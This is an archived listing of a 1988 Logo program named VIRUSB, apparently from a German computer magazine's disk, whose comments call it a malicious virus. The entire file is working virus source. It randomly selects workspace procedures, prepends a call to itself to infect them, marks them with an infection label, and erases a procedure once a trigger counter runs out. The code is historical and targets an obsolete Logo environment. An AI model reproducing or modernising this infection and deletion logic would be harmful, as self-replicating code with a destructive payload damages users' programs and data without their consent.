home *** CD-ROM | disk | FTP | other *** search
/ Turbo Toolbox / Turbo_Toolbox.iso / 1988 / 03 / vir_log / virus21.log next >
Encoding:
Text File  |  1987-12-15  |  1.0 KB  |  31 lines
  1. TO VIRUSB               ; DER BOESARTIGE VIRUS
  2.  LABEL "VIR         ; DIE VIRUSKENNUNG
  3.   ; LOKALE VARIABLEN 
  4.   LOCAL "RAND 
  5.   LOCAL "NAME 
  6.   LOCAL "KENN 
  7.   LOCAL "ANW_WORT
  8.   LOCAL "ANW_VIRUS 
  9.   LOCAL "PAR_LIST 
  10.   LOCAL "DEF_NEU
  11.  
  12.  LABEL "START
  13.   MAKE "RAND 1 + RANDOM COUNT PROCLIST  ;LOGO-WORT AUSWAEHLEN 
  14.   MAKE "NAME ITEM :RAND PROCLIST        ;HOLE WORTNAMEN
  15.   MAKE "KENN FIRST BF FIRST BF TEXT :NAME  ;KENNUNG HOLEN
  16.   IF (:KENN = ""VIR) [GO "START]        ;VIRUS NICHT INFIZIEREN
  17.   IF (NOT :KENN = ""ABC) [GO "INFIZ]    ;NOCH NICHT INFIZIERT?
  18.  
  19.   MAKE "VIRUSVAR :VIRUSVAR-1            ;AUSLOESER DECREMENTIEREN
  20.   IF (:VIRUSVAR<0) [ER :NAME]           ;TEST AUSLOESER
  21.   STOP
  22.  
  23.  LABEL "INFIZ
  24.   MAKE "PAR_LIST FIRST TEXT :NAME       ;PARAMETERLISTE HOLEN
  25.   MAKE "ANW_VIRUS [[LABEL "ABC VIRUSB]] ;AUFRUF VON "VIRUSB
  26.   MAKE "ANW_WORT BF TEXT :NAME          ;HOLE WORT-ANWEISUNGEN
  27.   MAKE "DEF_NEU FPUT :PAR_LIST (SE :ANW_VIRUS :ANW_WORT)
  28.   DEFINE :NAME :DEF_NEU                 ;WORT NEU DEFINIEREN
  29. END
  30.  
  31.